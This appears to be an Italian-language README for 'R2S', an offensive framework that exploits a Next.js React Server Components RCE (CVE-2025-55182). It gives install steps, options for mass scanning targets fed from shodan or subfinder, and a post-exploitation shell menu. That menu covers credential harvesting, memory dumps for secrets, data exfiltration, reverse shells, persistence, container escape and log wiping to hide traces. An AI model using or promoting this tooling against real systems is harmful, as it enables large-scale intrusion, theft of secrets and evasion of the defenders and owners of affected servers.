R2S è un framework completo di sfruttamento e post-sfruttamento che mira alla vulnerabilità Next.js React Server Components (CVE-2025-55182). Fornisce una shell interattiva con funzionalità avanzate per il penetration testing, tra cui trasferimento di file, persistenza, enumerazione, controlli di escalation dei privilegi e altro.
Framework Avanzato di Post-Exploitation per RCE su React Server Components di Next.js
Caratteristiche • Installazione • Utilizzo • Comandi • Esempi
R2S è un framework completo di exploitation e post-exploitation che sfrutta la vulnerabilità dei React Server Components di Next.js (CVE-2025-55182). Fornisce una shell interattiva con funzionalità avanzate per il penetration testing, tra cui trasferimento file, persistenza, enumerazione, controlli di escalation dei privilegi e molto altro.
.env e file di configurazione# Python 3.6 o superiore
python3 --version
# Installa le dipendenze
pip3 install requests urllib3
# Clona o scarica lo strumento
cd r2s-main
# Rendi eseguibile (opzionale)
chmod +x r2s_enhanced.py
# Esegui lo strumento
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [OPZIONI]
| Opzione | Descrizione | Predefinito |
|---|---|---|
-u, --url | URL di un singolo target | - |
-l, --list | File contenente l'elenco di URL | - |
-c, --cmd | Comando iniziale da eseguire | id |
-t, --threads | Numero di thread di scansione | 30 |
-p, --proxy | Proxy HTTP (es. http://127.0.0.1:8080) | - |
-v, --verbose | Abilita output dettagliato | False |
--http-port | Porta del server HTTP per il trasferimento file | 8000 |
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
Una volta ottenuto l'accesso RCE, entrerai in una shell interattiva con questi comandi:
upload <file_locale> <percorso_remoto> # Carica file sul target
download <file_remoto> <percorso_locale> # Scarica file dal target
cd <directory> # Cambia directory di lavoro
pwd # Mostra la directory di lavoro
enum # Enumerazione completa del sistema
privesc # Controlli di escalation dei privilegi
harvest # Raccolta di credenziali
portscan <ip> # Scansiona le porte della rete interna
memdump [pid] # Dump della memoria di processo per segreti
lateral # Opportunità di movimento laterale
escape # Vettori di fuga dal container
exfil [tipo] # Esfiltra dati (env/config/keys/db/logs/all)
reverse <lhost> <lport> # Prova più payload di reverse shell
persist # Aggiungi persistenza base
advpersist # Aggiungi persistenza avanzata
stealth # Pulisci i log e nascondi le tracce
save # Salva la sessione corrente
help, ? # Mostra il messaggio di aiuto
exit, quit # Esci dalla shell interattiva
Esegui qualsiasi comando shell direttamente:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com